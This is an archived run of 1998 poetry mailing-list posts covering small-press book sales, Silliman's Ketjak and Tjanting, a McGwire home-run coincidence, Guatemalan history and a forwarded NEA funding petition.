Edmonton Alberta Canada T6G 2E5

Arrested
for intent to denote this line.
This lodestar being visible only
to the discerning eye.

The disconcerting eye.

Christopher Dewdney

↑ Index

169. Harriet Zinnes

Re: 20C. Literature Conference

Tue 8 Sep 1998

---

8 September l998

Simon --

Absolutely the same Alan Sillitoe -- and many books since!

Harriet

↑ Index

170. **Jordan Davis**
garden of paradox
Tue 8 Sep 1998

Not my cute phrase but the Harvard Business Review's, for the public-at-large's reaction to any new technology -- it saves time/it consumes more time, it answers old needs/it creates new needs -- the notice goes on --

anyway, Anselm, I've been depressed since I learned how to use the can opener, but it cheered me up to know I didn't have to clench my teeth to brush them well -- and even more to learn that brushing without toothpaste is as important as brushing with it --

maybe it's only that any paradox is depressing?

L=poetics&D=1&O=D&F=&S=&P=1441,
Jordan

unrelated note on paradox: D.H. Lawrence's poem about Shakespeare, silly people speaking so beautifully --

↑ Index

171. **Lisa Trank**
Re: Robert Creeley Reading at Naropa
Tue 8 Sep 1998

The Creeley reading is at 8pm (MST) - did I forget to post that? Oops

thanks for letting me know-

Lisa Trank

↑ Index

172. **Poproj**
Re: BIG POETRY SALE
Tue 8 Sep 1998

When does Lee Ann Brown's Polyverse get to be free?

A. Berrigan

> *THE SUN & MOON PRESS CAMPAIGN TO FREE ITS POETRY*
>
> *Sun & Moon Press has long been known for its publishing*
> *and promotion of a wide-range of contemporary poetic voices.*

> *But we recently recognized that some of these voices have been kept prisoner on our shelves, locked away from the very audience for which they were intended. We hope to address this terrible injustice by offering our SUN & MOON PRESS CAMPAIGN TO FREE ITS POETRY.*

↑ Index

173. **Judy Roitman**

Re: Innovation and Experimentation in Contemporary American Poetry

Tue 8 Sep 1998

> *Anne Carson, because published in the US is an "American" poet, but there's no mention of Daphne Marlatt, Lisa Robertson, so many others. So it goes, especially for Canadian poets published only by small Canadian presses, I guess...*
>
> *Douglas Barbour (h) [403] 4363320 (b) [403]*
> *[redacted]*
> *Department of English*
> *University of Alberta*
> *Edmonton Alberta Canada T6G 2E5*

On at least one of her books, Anne Carson's complete "biography" is "Anne Carson lives in Canada." Which makes the "American" designation particularly odd.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

174. **KENT JOHNSON**

Sideshow at the Carnival (Good night)

Tue 8 Sep 1998

Dear David:

The Student server is up now, and I see, late in the day, that Araby has been taken down. OK. But before I go home with all my busted illusions, may I ask you one last virtual tough-guy question: Dude, how do you do that?

For in one tent you are "The Blades of Glass Whirling and Warning Cannibal Who Eats The Wife for Dessert" and then next tent (voila!) you are "The Sad and Aggrieved Elephant Man."

In the gone and melodramatic game of youth you cede the victory to me; in the greater game of the postmodern ping-pong, I cede the victory, hats off, to you. For in the latter, who can return a Champion's shot that starts on the table and then rockets bizarrely backwards into the gallery at the Champion's back? May I say Bravo along with the rest? May I say, stunned and admiring, that "you've earned it"? (Sorry, I see I've asked you more than one question. I really don't mean them as tough-guy serves or returns-- just a paddle, now, making whooshing sounds in the carnival air.)

But please, no matter what, keep the book. I really hadn't thought about the blurb thing for a long time. You were asked way back then because I felt you were one freak of a poet. Still do. But now book is dead. Dead, dead, dead. Too late, too late...

Oh, well!!!

And maybe I'll see you at Orono. May we both say, "Pleased to make you acquaintance," then sit down together, have a beer, talk about our families, and suck on the insect-like legs of lobsters with all our might.

love,
Kent, "The Camel Boy"

↑ Index

175. Ron Silliman
Davidson's catch
Tue 8 Sep 1998

Am I the only one who's noticed that the fellow who came up with Mark McGwire's 61st home run yesterday is named Michael Davidson?

Ron Silliman
[redacted]

Do NOT respond to
[redacted]
It is for listservs only.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

176. **Bob Grotjohn**

Re: infinite jest for those who love(d) to be astonied

Tue 8 Sep 1998

My hand is up. I wrote a long chapter on Sunset Debris, Ketjak (I have "Y'—ordered it in the nick of time, I guess—what IS a "nick of time"?), Tjanting, and Paradise in a dissertation that is appropriately buried in the basement of my grad school's library. One of its readers was the occasionally-vilified-on-this-list Ron Wallace (who is pretty much a nice guy, as I remember him), who signed the diss while dissing the topic with "you haven't convinced me to read any of this stuff" (it was clearly a powerful and convincing piece of scholarship). A challenge issued by Eli Goldblatt (to drop another name familiar to some people on this list) inspired me to read the books that led to my dissertation, so blame him for this post (I had thought I would work on--get this--Galway Kinnell when I started grad school). I also post for the self-indulgent purpose of having someone besides the four members of my dissertation committee read this stuff (in fact, I am not convinced they read it) that I had so much fun figuring out.
While in my first fulltime faculty job, I offered a colloquium on langpo to a department that had never heard of langpo (the liberal arts minor leagues) and used Sunset Debris (which is ecriture feminine, by the way—astonishing the things that get into that 20th C. conference) as a central part of the presentation. I explained how one intention of the text, according to the author in some interview published somewhere, was to impose upon the reader the violence of which language is capable. One of my colleagues took the book to the county jail, where he was working with inmates, and he reported to me that the inmates found that violence in the text and felt that it was like their sense of having been fucked over (an appropriate rather than offensive choice of words, given the text) by their worlds. That, for me, was evidence for my belief that langpo works outside the overeducated, underemployed audience (see "A hopeful note?", whatever its irony) (where do I get this idea of audience from?—I am sure RS wrote this once, but I can't remember where. In any case, a pretty good reason for an ABD person to get interested) for which it was intended.
As for those footnotes, or at least the sorts of minutia that make for footnotes (stop reading now if such minutia bore you), here are some of mine, though perhaps not quite what DB has in mind. I used the minutia to support some argument but the real point for me was just figuring out this stuff. I actually counted all of the sentences in Ketjak (I gave up on Tjanting, at least to a point). This counting gave me great pleasure ("Gaiety transfiguring all that dread"—my

answer to an earlier “Huh?”), strange as that might be (my greatest pleasure in McGwire’s 61 is that he hit it on his father’s 61st birthday, not that he hit it—if only his father’s birthday would have been June 1st, I would have taken even greater pleasure, and the pitching in the league would have been really bad). So here are my footnotes unburied from the library basement for anyone who is interested, pretty much lifted whole from the dissertation, where they weren't footnotes, though maybe they should have been.

Silliman describes the form of Ketjak in an interview with Larry McCaffery and Sinda Gregory: ""Ketjak" itself is a musical form--it's the Balinese version of the Ramayana myth, with as many as two hundred singers. It's essentially a choral form, and I was interested in the concept of the cumulative effort. . . . . Ketjak is structured so that every paragraph has twice as many sentences as the previous paragraph, with every other sentence being a repetition of the sentences (in exactly the same order) from the previous paragraph." (247, 248)

He is lying or at best telling a partial truth. Three times he leaves out sentences that appeared in the previous paragraph, once from the fourth to fifth paragraph, and twice from the eleventh to the twelfth paragraph, where both omissions are on the same page (80). These omissions break down the structure so that the fifth paragraph, which should have sixteen sentences according to the given method of paragraph extension, has ONLY FOURTEEN SENTENCES.. Twice he places two sentences side by side in successive paragraphs, the first time by simple repetition: "Modal rounders. A sequence of objects, silhouettes, which to him appears to be a caravan of fellaheen, a circus, dromedaries pulling wagons bearing tiger cages, fringed surreys, tamed ostriches in toy hats, begins a slow migration to the right vanishing point on the horizon" (5, 6); and the second time by making two sentences into one: "A learned solitude, constantly in the head looking out. Constantly waking, new day" (33) becomes "A learned solitude, in the head looking out, constantly waking, new day" (63). He also occasionally inserts two new sentences between sentences from the preceding paragraph. In one span of insertions (61-64) in the twelfth and final paragraph (48-93), the inserted sentences have appeared before as the seventh paragraph (5-7).

Here’s another note re the first quoted paragraph from the interview quoted above. This community-centered production--"the concept of cumulative effort" noted by Silliman in his comments on the form of this poem--sets up a metaphor for reading contained in the title of the work. "Ketjak" is a Balinese dance with a basis in traditional forms of dance and choral music, but the form itself was invented for a 1931 movie through the collaboration of Balinese dancers and Walter Spies, a Russo-German artist and musician (Ramseyer 239). The variable and collaborative nature of this and other Balinese dances suggests a method of reading Silliman's Ketjak. Beryl de Zoete in collaboration

with (how nicely that fits the discussion) Walter Spies gives what could be a model for the communal production of Silliman's Ketjak in noting the nature of Balinese dance, its "constant changes and exchanges which are always going on, out of a native impulse to create and experiment. Balinese dance is not static or uniform, and there are almost as many ways of doing one thing as there are villages which do it. . . . The traditional framework remains, but the elements have a different emphasis and perhaps a different distribution." (44) Dancing in Bali can be a product of any person; "just as one hour does not stand out from another with insistent individuality, nor does the activity which we call dancing. A dancer may be a fisherman, a wood-carver, a goldsmith" (5). (More Yeats here.) It might be pertinent to recall Gertrude Stein's assertion that "everybody has to be a poet" ("Poetry and Grammar" 237).

I may have taken the significance of the title of Ketjak further than Silliman intends it, but such taking may very well be what he intends. He has asserted that "a text is equally situated through the life of the reader" as through the life of the author. He writes with this recognition firmly in view so that his works "come into play only in the presence of the collaborator who opens the text. It is through this interaction, the reading process, that a work can be said to exist in the world, a complex event with multiple actors, and an event which changes with each reading." ("Interview" with Tom Beckett 46)

The constantly developing existence of the text "in the world" reflects the metaphor of the ketjak, which varies from performance to performance and place to place and does not distinguish individually between performers: "to seek a consecutive theme in the wandering voices, the cracked strings and wailing cries, the various fragments of solo which occur during the dance, is a vain quest" (de Zoete and Spies 85).

Minutial Tjanting: For the first parts of alternating paragraphs, the sentences new to the paragraphs occur between two sentences from the previous odd or even paragraph, which is similar to the progression of Ketjak except that this insertion goes on in two different sets of sentences. But if this were all that happened to the paragraphs, the Fibonnacci series would have to be broken and Tjanting would be a simple doubling of the form of the earlier poem. Instead, Tjanting goes beyond Ketjak by completing the paragraphs with sentences entirely new to the poem. It will be easier to see how this works by looking at the numbers of sentences that should occur in separate paragraphs of Tjanting. The twelfth paragraph has (or should have) 144 sentences. These sentences should be doubled in the fourteenth paragraph by inserting a new sentence between each of the existing sentences. They are doubled in such a way, but that gives paragraph fourteen a total of 288 sentences, far short of the 377 needed to keep the series intact. In order to follow the progression of the series, Silliman adds 89 sentences to the end of the paragraph. This goes

on until the nineteenth paragraph, which, being the last paragraph, needs 987 sentences to complete the series, sentences that have no space in which to be repeated (this paragraph stretches across 86 pages and should contain 4181 sentences, though I have not counted--my obsession with counting has its limits). The first of these 987 unrepeated sentences is "An end to rewriting" (191). I find this hilarious.

Tjanting further demonstrates this expansion, and its doubling of Ketjak, by including sentences from the earlier work, usually with significant alterations. "A tenor sax is a toy" (Ketjak 4) and "A tenor sax is a weapon" (Ketjak 5) become "Shit is a toy" and "Shit is a weapon" (T 51). "Revolving door" (Ketjak passim) revolves into Tjanting as "Revolving dork" (156) and "Revolting door" (182). "A day of rain in the middle of June" (Ketjak 4ff.) becomes, surprisingly, "A day of rain in the middle of June" (Tjanting 100), which serves the purpose of making the ordinary remarkable, exactly what Silliman's "gleeful specificity" does for all the odd but ordinary details he brings into his poems. He does return to the usual, however, when he again (mis)quotes the sentence as "A day of June in the middle of rain" (Tjanting 183), which has its own queer referential sense, the inverse (almost) of which is the reference of the original sentence. The "embeddedness" suggested by one of Silliman's puns surfaces not only when Tjanting incorporates individual sentences from Ketjak into its paragraphs but when it includes a whole paragraph from the earlier poem. Silliman embeds the fifth or the sixth paragraph of Ketjak--which paragraph it is depends on how you look at the embedding--in the nineteenth paragraph of Tjanting, making it a part of Tjanting by performing the same sort of mutations on the sentences lifted from the earlier work as he has on the sentences original (this term is used advisedly, with an awareness of how Silliman uses many found and allusory sentences) to the later work. Though he may repeat nearly the same words, he reorders them, sometimes to the point that their reference is completely different.

I also did a limited survey comparing percentages of various grammatical structures in the “sentences” of Ketjak and Tjanting, using four categories—complete sentences, noun phrases, other grammatical phrases, and ungrammatical constructions. There was a point to doing this, but I have forgotten what it was. I am glad to have done it, however. I counted these two, among other strangenesses, as complete sentences: "The way new stretches shoot out." and "Forms crab forth." Transfiguration.

I could plum the structure of Paradise a bit, but too much is enough, and besides, the most beautiful of all the carpenter’s tools is the level. I will wonder if the reference to Ron Hanson hasn't been outdated for a few years now. Who should it be in the next edition? I can't remember. Can anypne help?

Finally (finally!), two questions: Is Silliman (Paradise) quoting Hejinian (My Life) or vice-versa or are they both quoting someone else with “For those who love to be astonished”? Who has A-X and Z--what sort of alphabet would that be?

david bromige wrote:

> *Ron, now time enough has passed for us-all to introduce to ourselves meanings from your books, isn't it time for the Footnoted Ketjak and Tjanting? From U.C. Press, or leastways some place they have lots of paper and ink? You could use footnotes from everyone's suggestions, or supply them all yourself. I would read this volume before I read F's Wake again. Hands up all who feel likewise. David*

↑ Index

177. david bromige
re davidson's catch
Tue 8 Sep 1998

No, Ron, you are not alone in remarking that one Mike Davidson caught #61. However, unless #62 is caught by a Michael Palmer, it isn't a big coincidence.

There are several Michael Davidsons in the halls of fame/notoriety. Our MD told me that there is another MD who is a writer of (closet homosexual?) novels. (That is maybe correct--it's been a while since we had that conversation). I think our MD's wife-to-be stumbled upon him while in a library search for the other MD.

Now we have a 3rd MD to deal with, because this #61 dude bears little resemblance to the Adonis scholar & poet of San Diego. In fact, he looks his complete opposite. But both have good hand-eye coordination? No, this guy didnt catch it, he won a scramble for it under some seats.

Btw, has anyone else remarked the ubiquity of McGwire facial hair arrangements throughout both leagues? Not ginger, always, of course. Last night a Giant pitched to a Padre and both wore McGwires (sable), while the ondeck man wore one as well.

db3, slaving away for poetry night and day for all of us.

↑ Index

178. David Baratier
Re: cognitives dissonances
Tue 8 Sep 1998

Don't one usually
wanna say "minutiae"?

Unless you're dressed casually
as a poet from the hills of Ohio's mining pollution
where we rhyme perpetuation,canzone, & revolutione

↑ Index

179. Mark DuCharme

Re: FWD NEA Petition

Tue 8 Sep 1998

Listees: I think this will be of interest to many of you.

Subject:
[Fwd: petition for NEA]
Date:
Sat, 05 Sep 1998 21:40:46 -0700
From:
Roxanne Dunbar-Ortiz <[redacted]>
To:
[redacted]
CC:
[redacted]

Subject:
petition for NEA
Date:
Sat, 5 Sep 1998 20:09:34 -0400
From:
[redacted]
To:
[redacted]
CC:
[redacted], [redacted],
[redacted],
[redacted], [redacted],
[redacted],
[redacted], [redacted],
[redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted],
[redacted], [redacted], [redacted],
[redacted],
[redacted], [redacted], [redacted],

[redacted],
[redacted], [redacted],
[redacted],
[redacted]

Friends,

The Supreme Court has agreed to hear the issue of whether public funding to an artist can be linked with the idea of whether the art is decent. After the Robert Mapplethorpe scandal not so long ago, Congress passed a law that for an artist's art to receive public money via the National Endowment for the Arts, it must be deemed decent. On NPR Morning Edition this morning, Nina Tottenberg said that if the Supreme Court supports Congress, it is in effect the end of NEA. Then, there's the question of Congressional funding: Funding for NPR / NEA & PBS.

This petition is being passed around the Internet. Please add your name to it so that funding can be maintained for the NEA, NPR & PBS. Please keep this petition rolling. Do not reply to me. Please sign and forward to others to sign. If you prefer not to sign please send to the e-mail address indicated or return to me. Thanks. This is being forwarded to several people at once to add their names to the petition. It won't matter if many people receive the same list as the names are being managed. This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/year of their taxes, a petition follows.

If you sign, please forward on to others. If not, please don't kill it send it to the email address listed here: [redacted].

Petition: funding. In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as not worthwhile.

Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $0.64 a year.

A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding. Each year, the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. Each subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1. The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard. Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be

forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs.

*If you happen to be the 150th, 200th, 250th, etc.,
signer of this petition, please forward a copy to:
<[redacted]. This way we can keep track of the
lists and organize them. Forward this to everyone you know, and help us
to keep these programs alive. Thank you.

NOTE: It is preferable that you SELECT the entirety of this letter and
then COPY it into a new outgoing message rather than simply forwarding
it. Or if option is available, do a SEND AGAIN.
650 Mary Bartholomew, Asheville, NC
651 Leland Bartholomew, Asheville, NC
652 Walter A Damtoft, Asheville, NC
653 Monroe S Wechsler, Chapel Hill, NC
654 Lorraine Wechsler, Chapel Hill, NC
655 Stephen I Kaplan, Oak Ridge, TN
656 Caryl F Kaplan, Oak Ridge, TN
657 Allan Kaplan, Seattle, WA
658 Roger Jordan, Boulder, CO
659 Jacob Blass, Boulder, CO
660 Elliott Blass Amherst MA
661 Gordon Burghardt, Knoxville, TN
662 Thomas Robertson, Knoxville, TN
663 Gary Graser, Honolulu, HI
664 Tom Graser, Austin, TX
665 Jeff Wagers, Austin, TX
666 Stewart Davis, Houston, TX
667 Kay Kimball, Houston, TX
668 DeAnn Reyes, Houston, TX
669 Carlos Reyes, Houston, TX
670 Trevor Cooper, La Jolla, CA
671 Anna Lisa Storey, Bishop, CA
672 Lo Lyness, Bishop, CA
673 Kathryn Anderson, Bishop, CA
674 Barbara Joan Boyer, San Diego, CA
675 Barton H. Boyer III, San Dieto, CA
676 Betty Cannon, Coronado, CA.
677 Obie Porteous, Novato, CA.
678 Christy Cannon, Novato, CA
679 Susan Longstreet, Alexandria,VA

680 Caryl Bernstein, Bethesda, MD
681 Ellen Passov, Dobbs Ferry, New York
682 Stacey Dawson, San Francisco, CA
683 Alice do Valle, San Francisco, CA
684 Karl Kramer, San Francisco, CA
685 Michael Eisenscher, Berkeley, CA
686 Robert Spencer, New York, NY
687 Mike Keenan, Cropseyville, NY
688 James E. Kaufman, Albany, NY 12208
689 Morgan Thomas, Berkeley, CA
690 Jennifer Heath, Boulder, CO
691 Mark DuCharme, Boulder, CO

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↑ Index

180. **Douglas**
LAST PAGE OF S&M SALE
Tue 8 Sep 1998

Our final posting for the great
Sun & Moon sale

Each book is $4.00 + $1.25 for postage

____Jackson Mac Low FROM PEARL HARBOR DAY TO FDR'S BIRTHDAY (paper, list price $10.95) Upon its original publication in1982, FROM PEARL HARBOR DAY..., representing work written from the 7th of December 1981 to the 30th of January 1982, was recognized as a significant new direction in the writing of noted poet Jackson Mac Low. Although he had written disjunction poems since the 1930s, this work evinced a new interest, arounds in part by the "Language" poets, in intentional methodology, as opposed to his chance-oriented poems, writing he continued in BLOOMSDAY (1984) and in PIECES O' SIX (1992, Sun & Moon Press). This book is a must for all readers interested in the work of Mac Low.

____Joe Ross. GUARDS OF THE HEART (paper, list price $9.95) Of the Byron of Manfred were to join forces with the "Language" writers, together they might have produced the four astoundingly original plays of poetry by the young poet Joe Ross. His is a highly romantic work, the writing of a believer in the potential of the human mind, a believer in the possibility of knowing truth. But Ross's work is also completely contemporary, syncretic and disjunctive, revelatory of the constant shift and flux of the late 1990s.

____Aaron Shurin. INTO DISTANCES. (paper, list price $10.95) In this, his eighth book of poetry, Aaron Shurin continues to explore the prose-poem format he began in 1984, a form in which he has sought to combine lyric and narrative in a way that reflects in its complexities and contraditions the tension between individual per- ception and social control; a poetry simulatneously of praise and dislocation.

____Giuseppe Steiner. DRAWN STATES OF MIND (paper, $8.95) Steiner joined the ranks of the Italian Futuris movement during World War I, and contributed poetry to a variety of Futurist journals. But in the years to follow Steiner abanonded the Marinettian project of "words-in-freedom" because he felt that verbal poetry was in- herently limited, due to the inadequate expres- sive potential of words. Pushing Marinetti's work, Steiner first experimented with "syllables in freedom," and when these also seemed unmanageable, he turned away from verbal expression altogether. These wonderful visual po- ems are remarkably original and fun.

____John Taggart. LOOP (paper, list price $11.95) In LOOP, noted poet John Taggart's largest collection to date, the poet expands his poetic vistas, prob- ing along lines first laid out by the Objectivists, but in a manner all his own. Here is a use of poetic repetition that permits us to hear and hear again the rhythms of our lives, from childhood to what we describe as adulthood.

____Hannah Weiner. SPOKE (paper, list price $6.95) Perhaps this book is the recently deceased Weiner's most important book. Certainly, she never saw words in space as clearly as in SPOKE. Its sense of energy, humor, and poetic exploration is hard to be matched.

____Mac Wellman. A SHELF IN WOOP'S CLOTHING (paper, list price $8.95) Mac Wellman is a hero to almost any of the younger playwrights; more than anyone of his generation, Wellman forged a new poetic theater that has had an enormous impact on contemporary drama. But it is important to remem- ber that Wellman is also an incredible poet, as crazily divine book reveals.

THERE'S MORE FOLKS AT SUN & MOON.....but that's all for this sale....

I look forward to your orders.

↑ Index

181. **MAYHEW**
Amurican poetry
Tue 8 Sep 1998

Judy wrote:

"On at least one of her books, Anne Carson's complete "biography" is "Anne Carson lives in Canada." Which makes the "American" designation particularly odd."

Where is Canada, then--In Asia? I am used to thinking of "Las Americas" North and South. Too bad you can't make an adjective out of "United States."

Another syntactical quirk of the original post was the "and others" combined with "we are specially interested in papers on ..." We have to read the minds of the organizers to know what "other" poets they are "specially" interested in.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

182. Mark Weiss
Re: Amurican poetry
Tue 8 Sep 1998

Yeah, it was a pretty varied group to start with. In Guatemala (I don't know whether this applies more broadly) we have been adjectified as "estado-sunidense." Not real handy to the anglo tongue. How about "yewessian?"

At 02:50 PM 9/8/98 -0500, you wrote:
>Judy wrote:
>
>"On at least one of her books, Anne Carson's complete "biography" is "Anne
>Carson lives in Canada." Which makes the "American" designation
>particularly odd."
>
>Where is Canada, then--In Asia? I am used to thinking of "Las Americas"
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>
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>"specially" interested in.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas

>[redacted]
>[redacted]
>
>

↑ Index

183. michael corbin
Re: crosses project for indigenous peoples
Tue 8 Sep 1998

Mark Weiss wrote:

> *In 1992 I was in Guatemala, where those identified as indigenes (indio is a slur, india has among its informal meanings prostitute) in a population almost all of which is native genetically are only the practitioners of the aboriginal cultures. I neither saw nor heard any discussion of the great tragedy that the "discovery" was for native peoples. Instead, I was shocked by signs all over the non-indigene parts of the country proclaiming the five hundredth anniversary of the introduction of the road to salvation. Talk about a conquest.*

In '92, the year she was awarded for the Nobel Peace Prize, I heard Rigoberta Menchu Tum read a poem.

She noted it was a liturgical offering to the anonymous Guatemalan dead, los indigenas guatemaltecos. It was said under her breath, on the air, narrowcast, streaming audio, buffering, as it were.

Since '96 when the "peace accords" with the Unidad Revolucionaria Nacional Guatemalteca were signed those not too dead and not buried too deeply in mass graves started to return, mostly out of southern mexico.

Talk about a conquest. (cf. also _Our Own Backyard: the US in Central America, 1977-1992_, William LeoGrande, UNC, 1998)

mc

↑ Index

184. michael corbin
Re: Davidson's catch
Tue 8 Sep 1998

Ron Silliman wrote:

> *Am I the only one who's noticed that the fellow who came up with Mark McGwire's 61st home run yesterday is named Michael Davidson?*

But contrary to that Delillo rendered circulating simulacra of a Bobby Thompson desire, the Icon of McGwire History Recording has been encoded,

irradiated, so as to allow for truth in identification. The One True Owner. From the Bleachers. Off the foul pole and into our hearts.

A separate history of fandom (maybe a Mao II) a McGwire 62. Post-cold war periodizing.

mc

↑ Index

185. F. W. Perrella

Web Del Sol Update 9/8/98:Ploughshares, Missouri Review, Perihelion#2

Tue 8 Sep 1998

Web Del Sol welcomes Ploughshares onsite:

http://webdelsol.com/Ploughshares

Ploughshares, based at Emerson College in Boston, edited by Don Lee, has the Fall 1998 issue up. Lorrie Moore, Fiction Guest-editor for this issue, has selected a variety of stories with characters, settings, and narrative styles that, in her words, "show off each writer's genius; and so, the stories startle, remind, refresh, take aback, and powerfully engage the reader." Come take a look.

Missouri Review's site has been redesigned and updated. Packed with poetry, fiction, essays, interviews, and found text, the current issue, Vol. XXI, Issue 1, features the winners of the 7th annual Editors Prize, and the winner of the first annual Larry Levis Prize in Poetry. Click on over and enjoy.

http://webdelsol.com/Missouri_Review

Perihelion issue#2 is up, too:

Edited by Jennifer Ley, Perihelion continues its mission to publish new poetry, articles on poetry theory, discussion of issues of interest to the poetry community, and online resources for poets. In her latest Round Table discussion "Ink on Your Fingers, Bytes on Your Brain", Jennifer also continues the discussion on the Web/print interface, with in-depth opinion and comment from editors of The Literary Review, Kimera, Poets On:, Octavo, and Mississippi Review Web. Weigh in with your opinion at Perihelion's bbs forum.

The poetry in this issue includes some RealAudio files (including mine!), so you can hear selected works in the voices of their authors, if you like. Let us know what you think.

http://webdelsol.com/Perihelion

Thanks!

Anne Perrella

↑ Index

186. A. Jenn Sondheim
Re: Amurican poetry
Tue 8 Sep 1998

On Tue, 8 Sep 1998, MAYHEW wrote:

> *Judy wrote:*
>
> *"On at least one of her books, Anne Carson's complete "biography" is "Anne Carson lives in Canada." Which makes the "American" designation particularly odd."*
>
> *Where is Canada, then--In Asia? I am used to thinking of "Las Americas" North and South. Too bad you can't make an adjective out of "United States."*

I've lived in various places in Ca. and there are problems at times over the use of _America,_ since it seems to imply the US - i.e. American citizens for example. Ca. gets left out. And there is an adj. for the US - US citizen, for example, albeit somewhat colloquial.

Alan

↑ Index

187. Jordan Davis
cognitives dissonances
Tue 8 Sep 1998

Don't one usually wanna say "minutiae"?

J

↑ Index

188. louis stroffolino
Love New York Style
Tue 8 Sep 1998

Great Post Jordan Davis!
It's so elegant Jordan Davis
So intelligent Jordan Davis
As beautiful as intelligent Jordan Davis
As intelligent as fun Jordan Davis
As fun as kind Jordan Davis!

On Tue, 8 Sep 1998, Jordan Davis wrote:

> *Not my cute phrase but the Harvard Business Review's, for the public-at-large's reaction to any new technology -- it saves time/it consumes more time, it answers old needs/it creates new needs -- the notice goes on --*
>
> *anyway, Anselm, I've been depressed since I learned how to use the can opener, but it cheered me up to know I didn't have to clench my teeth to brush them well -- and even more to learn that brushing without toothpaste is as important as brushing with it --*
>
> *maybe it's only that any paradox is depressing?*
>
> *L=poetics&D=1&O=D&F=&S=&P=1441,*
> *Jordan*
>
> *unrelated note on paradox: D.H. Lawrence's poem about Shakespeare, silly people speaking so beautifully --*

↑ Index

189. Laura E. Wright

Re: infinite jest for those who love(d) to be astonied

Tue 8 Sep 1998

Hurrah and thanks for the minutia (I am re-reading Tristram Shandy in yewessian astony-ment). This (below) reminds me Brautigan's chapter in Confederate General from Big Sur called Counting the Punctuation Marks in Ecclesiastes. Years ago I checked and his counts were accurate. This is what depressed people did before the internet.

Bob Grotjohn wrote:

> *I actually counted all of the sentences in Ketjak (I gave up on Tjanting, at least to a point). This counting gave me great pleasure ("Gaiety transfiguring all that dread"—my answer to an earlier "Huh?"), strange as that might be (my greatest pleasure in McGwire's 61 is that he hit it on his father's 61st birthday, not that he hit it—if only his father's birthday would have been June 1st, I would have taken even greater pleasure, and the pitching in the league would have been really bad).*
>
> *david bromige wrote:*
>
> *Ron, now time enough has passed for us-all to introduce to ourselves meanings from your books, isn't it time for the Footnoted Ketjak and Tjanting? From U.C. Press, or leastways some place they have lots of paper and ink? You could use footnotes from everyone's suggestions, or supply*

> *them all yourself. I would read this volume before I read F's Wake again. Hands up all who feel likewise. David*

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
* * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

190. A. Jenn Sondheim
Re: Slipping Through the Cracks (Orientation)
Tue 8 Sep 1998

On Tue, 8 Sep 1998, Daniel Zimmerman wrote:

> *Interesting post, Alan. Do you know R. A. Schwaller de Lubicz's _The Temple in Man_? It mentions a 'transparency' inscription on opposite sides of the same stone in the wall between two rooms at Luxor:*
>
> *"The wall's characteristic of _transparency_, placing the hieroglyph for cloths of room 12 in the symbol for 'box of cloths' represented in room 5, would suffice to establish a relationship between the symbols for cloths and the olfactory bulb. To this is added the characteristic of what weaving represents as a symbol--that is to say, the _interlacing of threads_, just as the nerves are interlaced so as to make perceptible the contacts of the individual with the environment. Thus, we frequently find the symbol for cloths in these three secret sanctuaries.*
> *Figure 42 shows clearly what I am suggesting here. The olfactory bulb, with the olfactory tract splitting in two, constitutes an organ whose image is identical to the symbol for cloths...." (103).*
>
> *The approach to the temples of Egypt as detailed mappings of human anatomy recalls the Eassons' discussion of Blake's _Milton_ as modeled on the physiology of the optical system.*

I'd have doubts about this, but I'd like to see the work. I'd also like to see what the cloth symbol apparently stems from re: say Gardiner.

I'm always amazed, not at the similarities, but at the differences of origins - looking at cuneiform, hieroglyphics, kanji, and seeing almost no relationships at

all. And the current meanings of the last seem very twisted compared to their apparent origins (from the accounts I've read - I know very little kanji by heart). I could see the development of a meta-syntactics of the sign, working through narratological issues as well - something that might be applied across the board to different symbolic systems.

And thank you for the reference - I'll look for it.

yours, Alan

> *Dan Zimmerman*

↑ Index

191. **Mark Weiss**
(no subject)
Tue 8 Sep 1998

For those who aren't aware, Michael I think inadvertently could be read as saying that the numbers of the dead had been exaggerated, many of those claimed as dead having been in exile. Estimates of the dead run between 100,000 and 400,000, almost all Mayans from the highlands. 400 villages disappeared from the map, many others were combined into the sort of fortified resettlement villages that the US did so much to popularize during the Viet Nam war. Large numbers of people took to a life of scavenging in the forest (these folks had been farmers for millenia) for years at a time in order to remain invisible to the army and the police. In a country of enormous potential wealth and enduring grinding poverty over half the population was reduced to a new level of penury. With an unemployment rate of 80% a worker lucky enough to get a job in a maquiladora factory then and now will make $.14 an hour. Since the peace accords the situation has gotten worse, if anything: the death squads may no longer be government-sponsored, but they persist. Added to them are gangs of thugs recruited from the ranks of the disbanded troops of both sides. Murder and pillage have become more commonplace and less discriminating. And the poor, "the truly miserable" who make up the bulk of the population, as a Guatemalan friend put it, continue to starve.

As a token of our throw-away foreign policy, the US, which has a big share of responsibility for this situation, does nothing. The cold war being over, Guatemala is no longer a security concern of ours. Toss it out the window like a used beer can.

At 04:09 PM 9/8/98 -0400, you wrote:
>Mark Weiss wrote:

>
>> In 1992 I was in Guatemala, where those identified as indigenes (indio is a
>> slur, india has among its informal meanings prostitute) in a population
>> almost all of which is native genetically are only the practitioners of the
>> aboriginal cultures. I neither saw nor heard any discussion of the great
>> tragedy that the "discovery" was for native peoples. Instead, I was shocked
>> by signs all over the non-indigene parts of the country proclaiming the
